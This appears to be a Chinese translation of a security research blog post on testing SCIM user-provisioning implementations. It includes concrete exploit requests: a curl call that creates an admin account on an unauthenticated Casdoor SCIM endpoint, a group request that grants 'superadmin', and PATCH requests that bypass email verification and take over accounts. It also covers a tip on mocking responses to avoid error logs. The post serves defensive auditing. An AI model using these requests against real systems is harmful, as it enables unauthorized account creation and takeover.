SCIM安全漏洞挖掘：超越SSO的隐藏攻击面

本文深入探讨SCIM协议的安全风险，涵盖认证绕过、令牌管理缺陷、用户重配置漏洞及内部属性操纵等实际案例，为安全测试人员提供全面的SCIM安全审计指南。

SCIM Hunting - Beyond SSO

2025年5月8日 - 作者：Francesco Lacerenza

引言

近年来，单点登录（SSO）相关漏洞获得了极大关注，并出现了大量精彩的公开披露。仅举几例：

  • 常见OAuth漏洞
  • 通过解析器差异绕过SAML SSO认证的"以任意用户身份登录"
  • 利用OAuth登录流程中的"脏舞"进行账户劫持

等等——其中蕴藏着大量宝藏。 毫不意外，使用自定义实现的系统受影响最严重，因为将SSO与平台的用户对象模型集成并非易事。

然而，当SSO经常占据中心舞台时，另一个标准往往被测试不足——SCIM（跨域身份管理系统）。在本博客中，我们将深入探讨其核心方面及在测试客户实现时经常发现的不安全设计问题。

目录

  • SCIM 101
  • 漏洞挖掘
  • 额外关注领域
  • 结论

SCIM 101

SCIM是一个旨在自动化跨系统用户账户配置和取消配置的标准，确保连接部分之间的访问一致性。 该标准在以下RFC中定义：RFC7642、RFC7644、RFC7643。 虽然它并非专门设计为IdP到SP的协议，而是用于云环境的通用用户池同步协议，但现实场景大多将其嵌入IdP-SP关系中。

核心组件

简而言之，该标准定义了一组由服务提供商（SP）公开的RESTful API，其他参与者（主要是身份提供商）应可调用这些API来更新用户池。

它提供具有以下操作集的REST API来编辑托管对象（参见scim.cloud）：

因此，我们可以将SCIM总结为一组可用于对表示用户身份的一组JSON编码对象执行CRUD操作的API。

核心功能

如果您想查看SCIM实现中的漏洞，以下是审计期间需要审查的核心功能列表：

  • 服务器配置和认证/授权中间件 - SCIM未定义其认证/授权方法，因此始终是自定义的
  • SCIM对象到内部对象的映射功能 - 后端如何将SCIM对象转换/链接到内部用户和组对象。大多数情况下它们更复杂，具有大量约束和安全检查。几个例子：不应用户控制的内部属性、不允许在SCIM中使用的平台特定属性等。
  • 操作执行逻辑 - 身份相关对象中的更改通常会触发应用程序流。几个例子包括：电子邮件更新应触发确认流/将用户标记为未确认，用户名更新应触发所有权/待处理邀请/重新认证检查等。

注意影响

作为直接的IdP到SP通信，大多数由此产生的问题需要一定级别的IdP或SP访问权限。因此，攻击的复杂性可能会降低您的大多数发现。

相反，在多租户平台中，影响可能会急剧上升，其中SCIM用户可能缺乏常见的租户隔离逻辑。

漏洞挖掘

以下是在审计SCIM实现时应寻找的一些有价值的漏洞示例。

认证绕过

几个月前，我们发布了关于Casdoor IdP实例中未经认证的SCIM操作的安全公告。这是一个支持各种认证标准（如OAuth、SAML、OIDC等）的开源身份解决方案。当然，SCIM也包括在内，但作为一项服务，意味着Casdoor（IdP）也将允许外部参与者操作其用户池。

Casdoor使用了elimity-com/scim库，根据标准，该库默认在其配置中不包含认证。因此，使用此库定义和公开的SCIM服务器保持未认证状态。

1
2
3
4

server := scim.Server{
 Config: config,
 ResourceTypes: resourceTypes,
}

利用实例需要匹配配置域的电子邮件。可使用SCIM POST操作创建匹配内部电子邮件域和数据的新用户。

1
2
3
4
5
6
7
8
9

curl --path-as-is -i -s -k -X $'POST' \
 -H $'Content-Type: application/scim+json'-H $'Content-Length: 377' \
 --data-binary $'{"active":true,"displayName":"Admin","emails":[{"value":
"admin2@victim.com"}],"password":"12345678","nickName":"Attacker",
"schemas":["urn:ietf:params:scim:schemas:core:2.0:User",
"urn:ietf:params:scim:schemas:extension:enterprise:2.0:User"],
"urn:ietf:params:scim:schemas:extension:enterprise:2.0:User":{"organization":
"built-in"},"userName":"admin2","userType":"normal-user"}' \
 $'https://<CASDOOR_INSTANCE>/scim/Users'

然后，使用新管理员用户admin2:12345678认证到IdP仪表板。 注意：维护者发布了一个新版本（v1.812.0），其中包含修复。

虽然这是一个非常简单但关键的问题，但可以在经过认证的实现中找到绕过。在其他情况下，服务可能仅在内部可用且未受保护。

SCIM令牌管理

[*] IdP端问题 由于SCIM密钥允许对服务提供商执行危险操作，因此应防止在设置后发生提取。在配置的应用程序上测试或编辑IdP SCIM集成时，如果连接器URL与先前设置的URL不同，应需要输入新的SCIM令牌。

发现一个著名的IdP在使用旧密钥向/v1/api/scim/Users?startIndex=1&count=1发出SCIM集成测试请求，同时接受新的baseURL。

+1 额外 - 覆盖痕迹：通过使用预期数据模拟响应JSON来避免记录错误，以成功进行SCIM集成测试。 用户查询的模拟响应JSON示例：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

{
    "Resources": [
        {
            "externalId": "<EXTID>",
            "id": "francesco+scim@doyensec.com",
            "meta": {
                "created": "2024-05-29T22:15:41.649622965Z",
                "location": "/Users/francesco+scim@doyensec.com",
                "version": "<VERSION"
            },
            "schemas": [
                "urn:ietf:params:scim:schemas:core:2.0:User"
            ],
            "userName": "francesco+scim@doyensec.com"
        }
    ],
    "itemsPerPage": 2,
    "schemas": [
        "urn:ietf:params:scim:api:messages:2.0:ListResponse"
    ],
    "startIndex": 1,
    "totalResults": 8
}

[*] SP端问题 SCIM令牌的创建和读取应仅允许高特权用户。针对用于管理它的SP端点，寻找授权问题，或使用漂亮的XSS或其他漏洞来升级平台中的访问级别。

不必要的用户重新配置回退

由于~实时用户访问管理是SCIM的核心，因此也值得寻找导致取消配置的用户重新获得对SP访问权限的回退。

例如，让我们看下面的update_scimUser函数。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

def can_be_reprovisioned?(usrObj)
    return true if usrObj.respond_to?(:active) && !usrObj.active?
    false

def update_scimUser(usrObj)
    # [...]
    if parser.deprovision_user?
      # [...]
    #  (o)__(o)'
    elsif can_be_reprovisioned?(usrObj) 
      reprovision(usrObj)
    else
      true
    end
end

由于respond_to?(:active)对于SCIM身份始终为true。如果用户不活动，条件!identity.active?将始终为true并导致重新配置。 因此，任何SCIM更新请求（例如，更改姓氏）如果用户因任何原因（例如，逻辑禁止、强制移除）不活动，将回退到重新配置。

内部属性操纵

在将身份同步外包给SCIM时，选择将从SCIM对象复制到新内部对象的内容变得至关重要，因为错误可能源于"过度"的属性允许。

[*] 示例1 - 内部角色权限提升 一个客户端支持通过SCIM端点配置和更新Okta组和用户。 它将Okta组转换为内部角色，并使用自定义标签来引用"Okta资源"。特别是，函数resource_to_access_map从提供的SCIM组资源构建了一个未验证的访问映射。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

[...]
group_data, decode_error := decode_group_resource(resource.Attributes.AsMap())

var role_list []string
//  (o)__(o)'
if resource.Id != "" {
    role_list = []string{resource.Id}
}
//...
return access_map, nil, nil

实现问题在于，role_list中的角色名称是在从第三方源传递的Id属性（urn:ietf:params:scim:schemas:core:2.0:Group）上构建的。 后来，另一个函数upsert了从SCIM事件构建的Role对象，没有进一步检查。因此，可以通过在SCIM组ID中匹配其名称来覆盖平台中的任何现有资源。

例如，如果SCIM组资源ID设置为内部角色名称，会发生有趣的事情。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

POST /api/scim/Groups HTTP/1.1
Host: <PLATFORM>
Content-Type: application/json; charset=utf-8
Authorization: Bearer 650…[REDACTED]…
…[REDACTED]…
Content-Length: 283
{
    "schemas": ["urn:ietf:params:scim:schemas:core:2.0:Group"],
    "id":"superadmin",
    "displayName": "TEST_NAME",
    "members": [{
        "value": "francesco@doyensec.com",
        "display": "francesco@doyensec.com"
    }]
}

平台创建了一个名为TEST_NAME的访问映射，向成员授予superadmin角色。

[*] 示例2 - SCIM到用户映射中的批量分配 根据对象映射策略，其他内部属性操纵可能是可能的。 一个有价值的示例可能如下所示。

1
2
3
4
5

SSO_user.update!(
    external_id: scim_data["externalId"],
    #         (o)__(o)' 
    userData: Oj.load(scim_req_body),
)

即使Oj默认值被覆盖（抱歉，没有反序列化），仍然可以将任何数据放入SCIM请求并通过userData访问。逻辑假设它仅包含SCIM属性。

验证绕过

此类别包含所有由于所需的内部用户管理流程未应用于由SCIM事件引起的更新（例如，电子邮件/电话/userName验证）而产生的漏洞。

一个相关的有趣发现是Gitlab绕过电子邮件验证（CVE-2019-5473）。我们在评估中也发现了涉及在代码验证过程中绕过的类似案例。

[*] 示例 - 相同但带有代码绕过 SCIM电子邮件更改未触发其他电子邮件更改操作所需的典型确认流。 攻击者可以请求向其电子邮件发送验证码，使用SCIM将电子邮件更改为受害者电子邮件，然后兑换代码从而验证新电子邮件地址。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

PATCH /scim/v2/<ATTACKER_SAML_ORG_ID>/<ATTACKER_USER_SCIM_ID> HTTP/2
Host: <CLIENT_PLATFORM>
Authorization: Bearer <SCIM_TOKEN>
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 205

{
  "schemas": ["urn:ietf:params:scim:api:messages:2.0:PatchOp"],
  "Operations": [
    {
      "op": "replace",
      "value": {
        "userName": "<VICTIM_ADDRESS>"
    }
    }
  ]
}

账户接管

在多租户平台中，SSO-SCIM身份应链接到底层用户对象。虽然它不是RFC的一部分，但管理用户属性（如userName和电子邮件）需要最终触发平台的验证和所有权检查流程。

一个公开示例案例，在更新底层用户时事情没有顺利进行，是CVE-2022-1680 - 通过SCIM电子邮件更改的Gitlab账户接管。以下是在我们一个客户中发现的一个非常相似的实例。

[*] 示例 - 相同但不同 一个客户端允许SCIM操作更改用户的电子邮件并执行账户接管。 每次创建或更新SCIM用户时都会调用函数set_username。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

    #[...]
    underlying_user = sso_user.underlying_user
    sso_user.scim["userName"] = new_name
    sso_user.username = new_name
    tenant = Tenant.find(sso_user.id)
    underlying_user&.change_email!(
      new_name,
      validate_email: tenant.isAuthzed?(new_name)
    )

    def underlying_user
        return nil if !tenant.isAuthzed?(self.username)
        # [...]
        #                                   (o)__(o)' 
        @underlying_user = User.find_by(email: self.username)
    end

如果组织根据isAuthzed无权管理用户，则underlying_user应为nil，从而阻止更改。在我们的特定案例中，授权功能未保护处于特定状态的用户不被接管。SCIM可用于强制更改受害者用户的电子邮件，并在其添加到租户后接管账户。如果与经典的"强制租户加入"问题结合，可以形成一个漂亮的链。

此外，由于平台未防止多SSO上下文切换，一旦使用新电子邮件认证，攻击者可以访问用户所属的所有其他租户。

额外关注领域

有趣的SCIM操作语法

根据rfc7644，Path属性定义为：

“path"属性值是一个包含描述操作目标的属性路径的字符串。“path"属性对于"add"和"replace"是可选的，对于"remove"操作是必需的。

由于path属性是可选的，当它是执行逻辑的一部分时，应仔细管理nil可能性。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

def exec_scim_ops(scim_identity, operation)
    path = operation["path"]
    value = operation["value"]

    case path
    when "members"
      # [...]
    when "externalId"
      # [...]
    else
      # 半捕获所有逻辑！
    end
end

放置一个捕获所有默认值可以允许另一种PatchOp消息语法仍然命中受限情况之一，同时跳过检查。以下是一个SCIM请求正文示例，它将跳过externalId检查并在上述上下文中编辑它。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

{
  "schemas": ["urn:ietf:params:scim:api:messages:2.0:PatchOp"],
  "Operations": [
    {
      "op": "replace",
      "value": {
        "externalId": "<ID_INJECTION>"
        }
    }
  ]
}

操作的value允许包含<属性:值>的字典。

批量操作顺序评估

由于可能支持批量操作（目前案例很少），这些实现中可能出现特定问题：

  • 竞争条件 - 排序逻辑可能不包括对每个步骤中触发的额外过程的推理
  • 缺少循环引用保护 - RFC7644明确讨论了循环引用处理（参见下面的示例）。

JSON互操作性

由于SCIM采用JSON进行数据表示，JSON互操作性攻击可能导致挖掘列表中描述的大多数问题。一个著名的起点是文章：JSON互操作性漏洞探索。

一旦发现SCIM实现中使用的解析库，检查其他内部逻辑是否依赖于存储的JSON序列化，同时使用不同的解析器进行比较或解组。

尽管是一种相对简单的格式，JSON解析器差异可能导致有趣的案例——如下所示：

结论

作为SSO的扩展，SCIM有潜力在特定情况下启用关键利用。如果您正在测试SSO，SCIM也应在范围内！

最后，SCIM实现中大多数有趣的漏洞需要深入了解应用程序的授权和认证机制。真正的价值在于识别SCIM对象和映射的内部用户对象之间的差异，因为这些差异通常导致有影响的发现。

其他相关帖子：

!exploitable第三集 - Devfile冒险 2025年3月18日

常见OAuth漏洞 2025年1月30日

单点登录还是单点故障？ 2024年6月20日

comments powered by Disqus
© 2020 - 2025 qife
使用 Hugo 构建
主题 Stack 由 Jimmy 设计
本站总访问量次 本站访客数人次